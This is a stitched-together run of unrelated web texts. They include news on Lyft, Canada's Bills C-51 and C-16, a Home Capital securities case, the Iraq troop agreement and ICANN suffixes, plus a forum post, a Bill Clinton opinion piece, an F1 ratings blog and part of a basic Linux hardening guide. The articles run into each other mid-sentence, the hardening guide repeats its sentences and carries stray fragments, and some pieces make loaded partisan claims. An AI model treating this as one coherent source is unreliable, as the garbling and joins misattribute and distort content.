Mitchell added: “The situation is untenable.”Uber may have had a three-year head start in New York, but its smaller rival Lyft is catching up fast in the city that has become the epicenter of the ride-hailing apps’ war for dominance.
Last month, on-demand car service Lyft gave six times as many rides in its signature pink mustache-adorned vehicles New York as it did in May of 2015, a spokesperson for the company told Fortune. Lyft drivers serving the city have also quadrupled in that timeframe, the spokesperson said, confirming figures that were first reported by Re/code.
Lyft only launched in New York in July 2014, more than three years after Uber officially entered that market in 2011. Since last May, Lyft has halved its average wait time for a ride in New York from six minutes to three minutes, the spokesperson added by way of explaining the 500% ridership growth. Both Lyft and Uber have also been aggressively slashing their prices in New York and other cities as they compete with each other to win customers.
The extent to which Lyft has been able to lure riders away from Uber, however, remains unclear. While Lyft currently claims a 40% share of the market in both San Francisco and Austin, it likely still commands less of the New York market, though the company’s spokesperson declined to give a percentage. A study published in January by New York City Mayor Bill de Blasio’s office noted that Uber’s share of the for-hire vehicle market “has risen sharply,” as yellow taxis have lost passengers, though it’s possible Lyft is partially responsible for that decline as well.
Across the country, Lyft’s rides have tripled in the past year, and, “We are also gaining market share,” a spokesperson for the company said. A spokesperson for Uber declined to comment.
Yesterday, Lyft also announced that it would allow people to order rides via Facebook Messenger in all three cities as well as eight others. New York’s legendary activist investor Carl Icahn also owns a sizable stake in Lyft, a relationship that the company hoped would help it make connections on the East Coast, especially on Wall Street.rabble is expanding our Parliamentary Bureau and we need your help! Support us on Patreon today!
A campaign to repeal Bill C-51 has continued to gain support in recent weeks. Over 300,000 Canadians have signed a petition seeking the repeal of C-51 and public consultations. Bill C-51 became law in June and gives vastly expanded powers to the police and the Canadian Security Intelligence Service (CSIS).
A broad coalition of civil society groups have criticized the bill, and a campaign against it is hosted by OpenMedia.ca, Leadnow, Greenpeace Canada and the BC Civil Liberties Association. Nineteen other organizations have lent their official support. BCGEU played a key role in initiating the day of action and then working with the partners to grow and develop the campaign.
The Liberals have committed to "repeal the problematic elements" of Bill C-51 and to hold "broad public consultations" on reforms. They re-iterated their first commitment in one of the ministerial mandate letters released on Friday. On Monday, The Globe and Mail highlighted the "renewed attention" that the recent attacks in Paris would bring to the law.
Though they called for amendments, the Liberals voted in favour of Bill C-51 when it was before parliament, and have faced criticism over their support. Trudeau met with protesters, saying that he did not vote against the legislation because "there are elements in that bill that keep Canadians safe in a concrete and serious way."
New powers, little new oversight
Opponents have asserted that Bill C-51 forces judges to authorize Charter violations; expands information-sharing between government bodies in far-reaching but ill-defined and unclear ways; creates new criminal offences using vague, overly broad wording; and fails to increase oversight. The law gives CSIS a new mandate to disrupt terror plots and critics have grave concern that it could criminalize ordinary political activity.
In writing about Bill C-51's information sharing provisions, law professor Kent Roach said that ambiguous wording leaves protesters vulnerable to pre-emptive information sharing if their activities are deemed unlawful. Roach and others fear that the use of the word "unlawful" means that common, peaceful but technically illegal activities (e.g. protesting without a permit, distributing pamphlets on private property) could trigger the information sharing provisions.
Growing demand for public scrutiny
In a call with rabble, OpenMedia's David Christopher described the need for public input into changes to the law:
"Right across Canada, so many different groups and individuals [were] really horrified at what was being proposed here....But I think it's really important that there's some type of official way [where] just every day Canadians could give their view to the government....It would create huge interest around the country."
Christopher suggested that an official government web portal be created to receive public comments and emphasized the urgency of repeal.
"It is really important we get this bill fixed. It is quite urgent. Right now, it is the law of the land. People's rights are being undermined, so we're certainly not calling for a year-long talking shop. We want, as soon as possible, the consultation process to start."
Growing coalition of support
The coalition of organizations demanding the repeal of C-51 continues to grow, with organizations focusing their efforts on different elements of the bill.
The new crime of "advocating or promoting commission of terrorism offences," the Canadian Association of University Teachers (CAUT) fears, could be leveled against academics who research controversial topics.
David Robinson, the Executive Director of CAUT, spoke to rabble on his concerns regarding both the law's possible effects on academics and its wider civil liberties implications.
Robinson cited the danger of criminalizing academics who may, for example, lead an academic discussion on whether terrorism is ever justified, or interview people in counter-radicalization research. He also wondered whether the law's provisions are broad enough to produce new responsibilities for educators to report suspected radicalization activity.
"Professors aren't spies," Robinson said with a laugh. "We're not trained to be spies." The CAUT director alluded to concerns voiced by the British National Union of Teachers, who were told that failure to report suspected radicalization could result in government inspections. The NUT worried, also, that the net effect of the lawwould be to shut down actual discussion about radicalization.
Bilan Arte, the National Chairperson of the Canadian Federation of Students, expressed similar concerns, calling Bill C-51 "a dangerous law that violates the rights of Canadians [and] explicit targets migrants."
The legal counsel of the World Sikh Organization re-iterated their position on C-51 saying they "expect that Prime Minister Trudeau will bring forward the necessary amendments" to address their concerns. The Islamic Supreme Council of Canada told rabble that they "endorse [all] individuals and organizations who want to repeal C-51 and C-24."
Safety and the campaign ahead
"I'm very concerned that they don't seem prepared to repeal C-51....I believe it's absolutely critical that the whole bill should be repealed," said Green Party leader Elizabeth May, reiterating her position that Bill C-51 in a phone call with rabble.
May called the Liberals' support for C-51 a "horrific mistake" and said that Liberal opposition would have "created enough pressure on a number of Conservative MPs" to possibly defeat the bill. She went on to highlight her suggestion that the Liberals could compromise by repealing parts 1, 3, 4 and 5, while amending part 2 -- the no fly list provision.
May, while condemning the Act's effects on civil liberties generally, also re-stated a point made in a recent blog post, that the law also makes Canadians less safe -- in part because "there is no requirement that CSIS tell the RCMP what it is up to."
"The reality of Bill C-51 is, as Professors Roach and Forcese made so very clear, as well as former Supreme Court Justice John Major, who testified before the committee, is the bill doesn't pay any attention to lessons learned from the Commission that John Major chaired into the Air India disaster, which was the single largest act of terrorism on Canadian soil," she said.
A spokesperson for Daniel Therrien, the Privacy Commissioner of Canada, told rabble in an email on Monday that the Office would welcome the opportunity to participate in planned consultations.
"Our Office's position on C-51 remains the same as last spring. In particular, we continue to advocate for a narrowing of the information sharing provisions in the legislation, raising the threshold for sharing and improving oversight."
Craig Forcese and Kent Roach, law professors at the University of Ottawa and the University of Toronto who have done legal scholarship in real time on Bill C-51, have proposed a series of amendments that would "mute our chief concerns" but still "satisfy government objectives."
"There is a lot to consult about. We never really were told precisely why CSIS wanted new powers in either the C-44 or C-51 debate. We need to have a clearer sense of what new powers they need," he wrote. "I am anxious that the debate not simply focus on the promised Parliamentary committee. It is a good idea but far from a panacea," wrote Roach in an email to rabble emphasizing that the terms of the debate on Bill C-51 should be expanded.
Requests for interviews or statements from the NDP and Liberal Justice Minister Jody Wilson-Raybould were acknowledged but an interview could not be arranged before publication time.
Cory Collins is a nonfiction writer, visual artist, poet and contributor to rabble.ca and other publications. His poetry, criticism and art work have appeared in the Island Review, Lemon Hound, The Telegram, Burnaby Now, Off the Coast and Cordite Poetry Review, while he has written on current events, economic news and political affairs for Aslan Media, People's World, Bee Culture and Canadian Dimension. He lives in St. John's and can be contacted via Twitter @coryGcollins or corycollins.ca.
Photo: flickr/JMacPherson
Editor's note: BCGEU was also a key player in initiating the national day of action, and developing and supporting the growth of the campaign with Leadnow and other partners. The story has been amended to reflect that fact.Home Capital Group Inc. and three of its current or former executives are being accused of making false and misleading statements to the public about the reasons the alternative mortgage lender had begun to extend fewer loans. The stock plunged Thursday in reaction to the news, falling more than 18 per cent.
The Ontario Securities Commission is alleging disclosures Home Capital made in 2015 breached Ontario securities laws, have caused "significant investor harm" and eventually led to a nearly 19-per-cent drop in Home Capital's stock price once the information was released in July, 2015, wiping roughly $600-million in the company's market value the following day.
The company is one of Canada's largest alternative mortgage lenders through its subsidiary, Home Trust.
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Related: Home Capital terminates chief executive Martin Reid
The allegations come at a time when the booming housing market, and the role of lenders such as Home Capital in fuelling it, are coming under heavy scrutiny from policy makers. The federal government moved again last fall to tighten the rules for mortgages in a bid to cool rising house prices and debt levels. Meanwhile, the Ontario government unveiled new measures Thursday to reduce speculation in real estate.
In a statement late Wednesday, Home Capital said that it has carefully considered its disclosure obligations.
"The company believes that its disclosure satisfied applicable disclosure requirements, and the allegations are without merit," Home Capital said in a news release. "The allegations will be vigorously defended."
The OSC's allegations have not yet been proven. The executives, who are all named by the commission, couldn't be reached immediately for comment on Wednesday night.
In an 11-page statement of allegations, the commission said on Wednesday that former Home Capital chief executive Gerald Soloway, as well as its then-president Martin Reid, did not properly disclose material information they had learned after a six-month internal investigation, dubbed "Project Trillium," which found that certain mortgage brokers in its network were submitting fraudulent employment-income documentation.
The commission alleged that the executives began to make changes within the company, including firing some brokers in its network and revising its underwriting process that had a "significant detrimental effect" on mortgage originations.
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But it didn't disclose this information to investors until July, by publishing a news release announcing it had terminated 45 brokers, even though it knew these facts as early as Feb. 10, when it discovered fraud in its broker channel, the OSC said. In the interim period, the company filed its 2014 annual report and its first-quarter 2015 report, as well as held an earnings conference call in May.
In June, 2014, the commission says Home Capital became aware of "irregularities" associated with certain loan applications handled by "one or more of its underwriters." In August, the company began to investigate the scope and cause of the problem in a probe that lasted six months.
It discovered that one of its underwriting teams, including one of its best-producing underwriters by volume, was falsely documenting that they had completed income-verification steps when they had not actually done so. It turned out that information about these prospective borrowers' income and employment had been falsified.
By Feb. 10, Home Capital had terminated four underwriters, two brokerages and 30 brokers, and added a number of other brokers to management's watch list, the commission alleges.
The commission added that the terminated brokers referred a total of $881.4-million worth of loans for the company in 2014, or roughly 10 per cent of its originations that year. It also caused Home Capital's processing time for mortgage applications to increase significantly, resulting in brokers sending applications to other lenders.
But when the executives were asked about the drop in new loans in a conference call, the executives attributed the decline to cold winter weather, economic conditions and a careful approach to new loans, among other things.
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Also named by the commission is the company's chief financial officer, Robert Morton, who the commission alleges falsely certified the 2014 annual filing and first-quarter reporting by leaving out key details as to why mortgage originations fell.
"The 2014 annual filing did not disclose the broker terminations, the significant remediation or the effect of these changes on originations," OSC staff alleged. "These material facts, individually or collectively, would have been considered important by a reasonable investor in making a decision to buy, sell or hold HCG's securities."
On Feb. 9, 2015, two days before the company filed its 2014 annual report, Mr. Morton said in an e-mail that additional disclosure related to Project Trillium was "buried pretty deep within existing wording on cyberrisk. I would be impressed if someone even asked about it."
In May, 2016, Mr. Soloway retired after nearly 30 years in charge and handed the reins to Mr. Reid.
Last month, Mr. Reid was terminated from his role as CEO, making way for director Bonita Then to take over on an interim basis. At the time, equity analysts wondered why neither Mr. Soloway nor Robert Blowes, who served as CFO until 2014, were named interim CEO. Both former executives are still directors of the company.Taking a page out of George Orwell's Nineteen Eighty-Four, Canada passed a new law that opens Canadians up to fines and even jail time if they use gender pronouns that do not correspond to a person's subjectively determined "gender identity."
As noted by The Daily Caller, Bill C-16, which was passed by Canada's Senate on Thursday, puts so-called "'gender identity' and 'gender expression' into both the country’s Human Rights Code, as well as the hate crime category of its Criminal Code by a vote of 67-11." All the bill needs now is a stamp of approval from the governor general.
Critics of the legislation say the bill will target conservatives who cling to reality and science and refuse to adhere to progressives' gender theory, which is rooted in mere feelings, for potential hate crimes; potential consequences for refusing capitulation are monetary fines, "anti-bias training" and jail time.
Canada's Prime Minister Justin Trudeau was predictably overcome with joy over the progressive crackdown on free speech.
“Great news,” he wrote via Twitter. “Bill C-16 has passed the Senate — making it illegal to discriminate based on gender identity or expression. #LoveisLove.”
Great news: Bill C-16 has passed the Senate – making it illegal to discriminate based on gender identity or expression. #LoveisLove — Justin Trudeau (@JustinTrudeau) June 16, 2017
Aside from the law's odious opposition to free speech, the bill is severely flawed due to the subjective nature of gender identity alone, as highlighted by conservative Senator Grant Mitchell in November 2016. "Transgender identity is too subjective a concept to be enshrined in law because it is defined as an individual’s deeply felt internal experience of gender," he stated.
Fierce free speech proponent Jordan Peterson, an outspoken professor at the University of Toronto, fought tirelessly against the bill, "insisting that it infringed upon citizens’ freedom of speech and institutes what he views as dubious gender ideology into law."
“Compelled speech has come to Canada,” wrote Peterson on Twitter. “We will seriously regret this.”
Senate passes Bill C16 without amendment 67 for 11 against. Compelled speech has come to Canada. We will seriously regret this. — Jordan B Peterson (@jordanbpeterson) June 15, 2017
Speaking before the Senate in May, Peterson ripped the legislation and explained how it was sadly indicative of "how deeply the culture of victimization" has seeped into Canadian culture.
“[Ideologues are] using unsuspecting and sometimes complicit members of the so-called transgender community to push their ideological vanguard forward,” he said. “The very idea that calling someone a term that they didn’t choose causes them such irreparable harm that legal remedies should be sought [is] an indication of just how deeply the culture of victimization has sunk into our society.”
An outlier in academia, Peterson became a target for the SJW Left when he previously vowed to refrain from using fictional gender pronouns like "zir" and "ze."
Campaign Life Toronto's senior political strategist Jack Fonseca told Life Site News that the bill was an attack on religious people who reject the Left's LGBTQ agenda.
"Mark my words, this law will not be used as some sort of ‘shield’ to defend vulnerable transsexuals, but rather as a weapon with which to bludgeon people of faith and free-thinking Canadians who refuse to deny truth,” he said.I’ve been watching the documentary A(Sexual) and it’s surprisingly not that terrible, but as an asexual person I think they could have done better in several areas.
It got me thinking however… if there was a documentary on OS/OR, what would you like to see discussed? I would really like to see discussions of how human and non-human relationships interact. I would also like to see discussions of how OS/OR could potentially fit (or not) into LGBTQIA spaces. I would also like to see a dispelling of the myth that OS/OR is simply object fetishism. It would also be interesting to me to hear more in-depth discussions of how people see and understand animism in relation to their OS/OR but also in relation to the world around them in general.
What I would NOT like to see is: medicalizing OS/OR, relating it to developmental disabilities, focusing solely on one or two “sensational” stories, and pleaaase no generalizing those one or two stories to the entire population.
What would you like to see or not see in an OS/OR documentary?Now that Hillary Clinton's political career is most likely over, and the Clinton family is finally out of the spotlight — even the Clinton Foundation is scaling back now that there's no chance it can sell influence in the Oval Office for multi-million dollar donations — leftists may finally be willing to "reckon" with Bill Clinton's history of sexual harassment.
MSNBC host Chris Hayes took to social media late Friday to admit something most left-leaning journalists have been avoiding: that their unqualified support of the Clinton family involved tacit approval of Bill's philandering. And it means the party is overdue for some soul-searching.
As gross and cynical and hypocrtical as the right's "what about Bill Clinton" stuff is, it's also true that Democrats and the center left are overdue for a real reckoning with the allegations against him. — Chris Hayes (@chrislhayes) November 10, 2017
There are several women who have credible sexual harassment allegations against the former president, and at least one woman who has a credible rape allegation. But as the charges against Bill Clinton amassed, Democrats insisted that Clinton's private life was immaterial to his leadership potential, and even hardcore feminists succumbed to Clinton's charms, excusing the ex-president's allegedly dangerous behavior in the name of partisan tribalism.
Shockingly, Hayes even shared Juanita Broderick's horrifying narrative, which she gave to Buzzfeed weeks before the 2016 election, as she and other Clinton victims tried to derail Hillary's presidential hopes by exposing how she and close Clinton aides covered for Bill.
Read this account, in light of all we've been hearing and reading this last month, and ask yourself if it's credible. https://t.co/8jymWjFpiF — Chris Hayes (@chrislhayes) November 10, 2017
Hillary, Broderick and others claimed, "neutralized" what Hillary called "bimbo eruptions" by waging "scorched earth" campaigns against women like Broderick, designed to torch their reputations.
Now that Democrats are looking to disqualify potential legislators like Roy Moore — and even Donald Trump, whose history includes some questionable relationship decisions — it's much harder for them to complain, given that they officially selected party over principle back in the 1990s (if not earlier, if you count the Kennedys).
But these allegations have changed little since the Clinton administration. Juanita Broderick's tale hasn't changed in nearly four decades; the Buzzfeed story was published back in August, and it's not as though leftists just discovered Bill Clinton's behavior last week.
Although Hayes deserves credit for discussing the Clinton morality (or lack thereof), it's clear much of this is only coming to light because Hillary, Bill and even Chelsea Clinton have no hope of ever returning to prominence within the Democratic party.Maya Alleruzzo / AP US soldiers patrol Baqouba, Iraq, Monday, Oct. 6, 2008.
Asked earlier this week by Wolf Blitzer whether he'd honor an agreement between the U.S. and Iraq to withdraw American troops by the end of 2011, presidential candidate John McCain chided the CNN anchor: "You know better than that, Wolf. You know it's condition-based, and that's what the big fight was all about," McCain said, referring to his difference with Barack Obama over when and how to withraw U.S. forces from Iraq. Whereas Obama has sought to set a 16-month deadline for U.S. withdrawal, McCain has denounced that as defeatist and insisted that any decision to withdraw should be based on U.S. commanders' assessment of security conditions on the ground.
But McCain seemed to ignore the fact that while Washington had certainly demanded a conditions-based formula for withdrawing U.S. troops, the Iraqi government has managed to walk the Bush Administration back to the point where it has accepted firm withdrawal deadlines. The current version, described by U.S. officials as a "final" draft, specifies that U.S. forces will withdraw from Iraq's cities "no later than June 30th, 2009", and from all Iraqi territory "no later than December 31st, 2011." There is certainly a provision for those dates to be subject to "review," but changing them would require agreement from both sides. Effectively, the draft agreement puts any "conditions-based" decision to extend the deadline into the hands of the Iraqi government. And on current indications, the Iraqis are unlikely to accept any extension. In fact, right now the Iraqi government appears unable even to accept the "final" draft agreement that contains those deadlines its negotiators demanded for fear of enraging its electorate.
U.S. officials are signaling growing frustration over the fact that even after Washington has made substantial concessions to the Iraqi side on troop-withdrawal deadlines and other matters, the Iraqis have balked at closing the deal. Joint Chiefs of Staff Chairman Admiral Mike Mullen warned this week that the failure of Iraq's government to pass the draft Status of Forces Agreement will have "dire consequences" for Iraq, while Defense Secretary Robert Gates warned the absence of an agreement might result in U.S. forces being confined to base after January 1, when the current United Nations mandate legitimizing their operations in Iraq expires. But despite such warnings from Washington, all indications from inside the Iraqi political system are that the draft agreement is unlikely to be adopted. Iraq's Political Council for National Security, which brings together representatives of the major parties in Iraq's parliament, called for modifications of the deal when it met last Saturday, and Prime Minister Maliki's own cabinet has echoed that position even though it was his government that negotiated the draft. It appears highly unlikely, now, that Iraq's parliament will endorse the agreement in its current form a prerequisite for it becoming law.
Some American officials see the hand of Iran at work in the deadlock: U.S. commander General Ray Odierno last Sunday suggested that Tehran had tried to bribe Iraqi leaders in order to deal a setback to the U.S. charges the Iraqis angrily reject. Iran certainly opposes any agreement extending the U.S. military presence on its doorstep, and the dominant political parties in the U.S.-backed government are, in fact, the Iraqi factions closest to Iran. More important, however, may be the fact that the U.S. invasion has led to Iraq being turned into a democracy, where the will of the people can't be ignored. Opinion polls consistently show that a strong majority of Iraqis oppose the presence of American troops in their country. And it's fear of the Iraqi electorate, rather than the allure of any Iranian funds, that appears to be driving the Iraqi government's opposition to signing the deal. Iraqi political parties will face the voters in regional polls later this year, and in a national election next year, and that has made them extremely reluctant to publicly endorse the security deal. While government opponents such as the radical anti-American Shi'ite cleric Muqtada Sadr are making hay out of the issue, mounting huge public protest demonstrations, even Maliki's own cabinet has declined to endorse the draft agreement.
The Status of Forces Agreement would mark the first time a representative Iraqi government formally declares that U.S. troops are on Iraqi soil as invited guests rather than as U.N.-sanctioned occupiers. And precisely because it is finally accountable to the Iraqi electorate, that's a step that the Iraqi government appears to remain unlikely to take. If, in fact, Iraq's government turns down the deal, it questions the very basis of the ongoing U.S. mission. (After all, enabling a democratically elected Iraqi government to take charge of the country is, ostensibly, the basic goal of the mission.)
The U.S. is in no mood to reopen negotiations, as Defense Secretary Gates and other officials have made clear. And given the political hurdles faced by any pact to extend the U.S. troop presence in Iraq, it may well be that no agreement can be reached before the current U.N. mandate expires. The Iraqis don't appear overly bothered by that possibility, suggesting that the U.N. mandate could simply be extended by the Security Council for another year. Washington has strongly discouraged that view, warning that following the summer's Georgia conflict, Russia may be in a spoiling mood and veto such an extension although Russian foreign minister Sergei Lavrov has since made clear that Moscow would, in fact, support an extension. (After all, the failure to achieve a Status of Forces Agreement would be enough of a setback for Washington to satisfy any Russian schadenfreude.)
Sure, the continuation of the U.N. mandate would deny the Iraqis the gains they have negotiated in the current draft agreement, giving the Iraqis less control over U.S. military operations on their soil. But it would expire after a year, and leave the Iraqis holding the cards. Then again, thanks to democracy, perhaps they already do.
(See pictures of Iraq's revival here.)Proposed new top-level domains for internet addresses to rival.com and.uk will be revealed in London on Wednesday.
The Internet Corporation for Assigned Names and Numbers (Icann) received 1,930 proposals for 1,410 different internet suffixes by the 30 May deadline. There are already about 300 suffixes in use. The expansion will allow suffixes that represent hobbies, ethnic groups, corporate brand names and more. Icann has only revealed general trends so far and not specific details but some bidders have disclosed their ideas, including.lol,.bank,.baby,.music,.doctor,.YouTube and.Google.
The new suffixes could allow businesses that joined the internet late and found desirable.com names taken to find alternatives, while others may wish to expand into multiple sites.
More than a third of the proposals, 675, came from Europe, with nearly half, 911, from North America.
The origins of the 1,930 suggestions in many ways mirror where the internet is most used. Only 17 proposals came from Africa and 24 came from Latin America and the Caribbean – areas where internet use is relatively low. But the 303 proposals from the Asia Pacific region were fewer than expected, especially given that the expansion will lift current restrictions on non-English characters and permit suffixes in Chinese, Japanese and Korean. China has the world's largest internet population, and there was talk of creating the Chinese equivalent of.com and other popular suffixes. There were 116 proposals for suffixes using characters beyond the 26 letters used in English, Icann revealed.
Many of the 1,930 proposals were duplicates – 749 were for 229 different suffixes – while the remaining 1,181 were unique. Icann is encouraging competing bidders to work out an agreement but the organisation will hold an auction if the parties fail to reach a compromise.
After the list is published, the public will have 60 days to comment on the proposals. Someone can claim a trademark violation or argue that a proposed suffix is offensive.
It will take at least a year or two for Icann to approve the first of the new suffixes. It will review each proposal to make sure its financial plan is sound and that contingencies exist in case a company goes out of business. Bidders must also pass criminal background checks.
Companies and groups had to pay $185,000 (£119,000) per proposal. Suffixes could potentially generate millions of dollars a year for winning bidders as they sell names ending in some of the approved names. Critics of the expansion include a coalition of business groups worried about protecting their
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he spun in China (followed by a wonderful recovery drive), took out Stroll in Bahrain, and took out Massa in Canada. Those were the three low points. Through no fault of his own, he was also taken out by Kvyat in Britain and spun trying to avoid Kvyat in Azerbaijan.
In qualifying, there was actually little between Sainz and Kvyat this year, but in races Sainz was a monster. His Toro Rosso teammates never cracked the top 8, while he placed there in 7 of his 10 finishes. The only race in which both Toro Rossos finished and Sainz was behind Kvyat was Italy, where Sainz was affected by grid penalties.
Sainz’s mean finishing position for Toro Rosso was 8.1 vs. 12.6 for his teammates; a remarkable difference of 4.5 positions. For reference, Hulkenberg and Palmer differed by an average of “only” 2.5 positions this year.
In reading these data, we have to naturally question whether this was Sainz performing spectacularly or Kvyat — a previously quite promising driver — completely losing the plot. Let’s look at this question in more detail, as it gives some insights into how model ratings are generated and shows why my decision to post annual rankings is always a bit of a gamble.
While new data are coming in, the rankings of recent years remain significantly in flux. The rankings I post for each season are usually shuffled slightly a year or two later. As an example, see how the 2014 rankings have changed since I published them, due to new data from 2015-2017 and an improved model.
Most of the changes are minor tweaks, but for a few drivers (especially those who had relatively few teammate links at the time), the changes are significant. Perez, Hulkenberg, and Vettel are big gainers, while Bottas, Vergne, Raikkonen, Kvyat, and Ericsson have had their 2014 performances reappraised downwards in light of new evidence. In the same fashion, how Sainz performs next year against Hulkenberg will retrospectively modify his season rankings for 2015-2017, and unless he beats Hulkenberg by an impressive margin, he will most likely move to a lower position in the 2017 top 5, given how fine are the margins.
A particular uncertainty arises with the rankings of Sainz/Kvyat due to insularity of the Red Bull driver program. Toro Rosso drivers tend to either get promoted to Red Bull or leave the sport, making it hard to directly compare them to others. As shown in the network graph below, the cluster of drivers containing Ricciardo, Verstappen, Sainz, Kvyat, and Vergne is only tenuously connected to the rest of the grid.
The main outward connection for this group is the 2014 Ricciardo-Vettel teammate battle. Ricciardo convincingly won that battle, leading to impressive rankings for all within the cluster, but many have questioned whether 2014 was a typical season for Vettel. The ranking of the Red Bull cluster as a whole therefore has to be treated with some scepticism. I have noticed, for example, that the all-time rankings of drivers in this cluster are presently quite sensitive to Vettel’s gains and losses vs. Raikkonen, since these serve as another major anchor point.
The new Sainz-Hulkenberg comparison (illustrated as a red dashed line) is precisely what we need: a connection to another well-connected driver who is distant from the Red Bull driver network. The little we saw of Sainz vs. Hulkenberg in 2017 suggested they are competitive with one another, but Renault’s poor reliability undermined any serious comparisons. It’s worth noting that had Sainz finished 9th in Mexico and Abu Dhabi rather than suffering mechanical failures, his season ranking would fall to 4th behind Vettel, Alonso, and Hamilton, as the model would gain certainty in a smaller performance gap between Sainz and Hulkenberg.
The 2018 season will therefore serve as a superb opportunity for improving confidence in all the Red Bull program driver rankings, and I will be sure to revisit Sainz’s 2017 season ranking at the end of next year. Enjoy the offseason!
AdvertisementsWritten by Russell Jones Categories: Security 24 minute read time
Introduction
Approach to Security
Defend, detect, and react. This means apply good security practices to defend your infrastructure, but log all suspicious behavior, and when compromised, restore to a safe state.
This means apply good security practices to defend your infrastructure, but log all suspicious behavior, and when compromised, restore to a safe state. All software can be exploited. All non-trivial software has flaws that allow an attacker with enough motivation to exploit it.
. All non-trivial software has flaws that allow an attacker with enough motivation to exploit it. Simplicity is security. Overly complex systems become harder for the developer to reason about and easier for an attacker exploit. Simpler systems that can be reasoned about are often more secure. Don’t roll out a security solution that you do not understand.
. Overly complex systems become harder for the developer to reason about and easier for an attacker exploit. Simpler systems that can be reasoned about are often more secure. Don’t roll out a security solution that you do not understand. Obscurity is not security. Rely on the security of the protocols you use to defend your infrastructure, not obscure ports and other tricks to try and hide insecure protocols.
. Rely on the security of the protocols you use to defend your infrastructure, not obscure ports and other tricks to try and hide insecure protocols. Consider all user input hostile. Consider all input accepted from users as hostile, and strictly verify what you accept.
. Consider all input accepted from users as hostile, and strictly verify what you accept. Principle of least privilege. Provide the minimal privilege needed for some operation to occur. If a process or system is exploited, you don’t want to allow an attacker to gain any more access than is minimally required.
Software Vulnerabilities
Running your infrastructure in a secure configuration is a daunting task even for security professionals. This guide provides practical advice to help engineers build up infrastructure following security best practices so that they can confidently deploy their services to the public Internet and lower their chances of being compromised. This guide specifically targets Linux based systems; however, the best practices apply to all computer systems. Part of confidentially running infrastructure is understanding what and whom you are protecting your infrastructure against. This guide will eventually have three versions, Basic, Intermediate, and Advanced, with each version focused on defending your infrastructure against a different class of attacker. You are reading the Basic version which aims to protect against automated attacks and script kiddies that understand exploitation tools rather than exploitation techniques. This class of attacker is opportunistic rather than targeted and quickly moves on to easier targets. If you are running a side project or starting a company, this is the best place to start and will help build a solid foundation to build upon. While reading this guide, consider the type of attacker and types of attacks you want to defend against. The best practices that you follow and do no follow depend on what you are trying to defend and whom you are trying to defend against.This guide follows these guiding principles in its discussion of software security:
Description
Heartbleed: Allows an attacker to steal your private certificates and decrypt encrypted traffic
Shellshock: Allows an attacker to remotely execute arbitrary code on your servers
Mitigation
Summary
DO: Patch your servers against the latest security vulnerabilities.
DO: Use automatic updates from your OS vendor whenever possible.
DO: Restart any services that rely on shared libraries that have been updated.
DON’T: Roll out updates to a server without running tests.
Application/OS Hardening
Description
Mitigation
Never run your application as root or as a user that has sudo capabilities. If your application is exploited, this effectively means the attacker can gain root privileges.
If you have multiple applications, and each accesses different sensitive data, consider running each under its own account and then using file system privileges to isolate sensitive data access from each other. This means that sensitive application data should never have other permissions set to allow anyone read and write permissions. For example, never set permissions to a value such as 0777 ; instead, use a value like 0660.
; instead, use a value like. Ensure that both the application user and group have limited privileges. This means creating a new limited user and group for the account and not giving the user a shell. Suppose you have an app called foo. Create a user called fooapp make its home directory /var/appdata/fooapp : sudo useradd -r -s /bin/false --home /var/appdata/fooapp fooapp sudo mkdir /var/appdata/fooapp sudo chown fooapp:fooapp /var/appdata/fooapp
. Create a user called make its home directory : Daemonize your application so it will automatically start as a particular user. There are two general approaches to solve this problem. The first is to use operating system facilities (like System V init scripts (Red Hat /Debian) or systemd (Red Hat /Debian) to start and stop your application and then use a process monitoring tool (like monit) to restart your application if it crashes. The other approach is to use a process control system (like supervisord, skarnet s6, daemontools) which launche your application as it’s child and will also restart your application if it crashes. Both approaches are completely fine and which you use depends which fits your workflow better.
Assign per-process limits by using the /etc/security/limits.conf file. For example, if you want to limit the number of open file descriptors to 10 and limit memory to 1 GB, add the following lines to the /etc/security/limits.conf file: fooapp hard nofile 10 # 10 open file descriptor limit fooapp hard as 1000000 # 1 GB limit
file. For example, if you want to limit the number of open file descriptors to 10 and limit memory to 1 GB, add the following lines to the file: Don’t bind your application to a low port. Typically you must run your application with administrative privileges to do this. Instead, bind to a high port number and use a reverse proxy to forward your requests to your application. Then use Linux capabilities to allow your reverse proxy to bind to a low port without any other privileges. For example, if you have a reverse proxy in /opt/rproxy, you can set its capabilities as follows: setcap 'cap_net_bind_service=+ep' /opt/rproxy
, you can set its capabilities as follows: Lastly, consider using chroot, but be aware that there some maintenance overhead is required. chroot allows you to limit the scope of what a process can see on the file system; specifically, it changes your root directory to a directory of your choosing. For example, if you define /var/chroot as your new root directory, processes see files under /var/chroot as /. Although this is more secure, it means that any shared libraries that your process might use must either be copied over and reside within /var/chroot, which in turn means that whenever you apply security updates, you also need to re-copy any updated shared libraries. You can avoid this maintenance with hard links, but then you are offering a path outside that an attacker can potentially exploit. Other approaches (cgroup-based approaches) that you can take to gain similar benefits will be discussed in the intermediate version of this guide.
Summary
DO: Create a restricted account to run your application, which means no shell and limited file system access.
DO: Bind your application to a high port allowing you to run as a non-privileged user.
DO: Use capabilities instead of root whenever you can.
DON’T: Use chroot unless you are ready to take on the maintenance overhead.
Firewalls and Networking
Description
Mitigation
Delete existing firewall rules. When developing firewall rules, you want a coherent idea of what you are blocking and allowing. Dropping all existing rules and starting from scratch accomplishes that.
Set the default rule for inbound traffic to be DROP. This follows the principle of least privilege. After you define the default policy to DROP, then you can slowly open up your network, piece by piece.
Allow free access to the loopback interface. Unlike external interfaces, binding your process to localhost is usually good for security, and therefore restricting access to the loopback interface causes more harm than benefit. This does leave you open to an attack from a local user, but that’s a risk you have to balance for yourself.
Don’t terminate any established connections. You want to prevent terminating your own SSH connection to a server, and ensure that any ongoing request can finish before being terminated.
Don’t restrict all Internet Control Message Protocol (ICMP) traffic. Allowing ICMP is critical for the Internet to work; routers and hosts use it to communicate critical information like service availability, packet sizes, and host existence. Types 3 and 4, Destination Unreachable and Source Quench, are critical, and restricting them will cause more harm than gain in the future. If you are concerned about allowing an attacker to map out your network, a sensible middle ground is to first rate limiting all ICMP traffic, and then allowing a limited subset of ICMP traffic at your edge hosts while allowing unfettered access for internal host-to-host communication.
Apply basic security checks. Some inbound traffic serves no legitimate purpose; restrict that traffic. If you are frequently attacked by a particular type of traffic, it might be helpful to transform this into its own chain, if you find yourself frequently adding rules to this section.
Unless you are actually using IPv6 and plan to build firewall rules for IPv6 traffic, restrict all inbound IPv6 traffic.
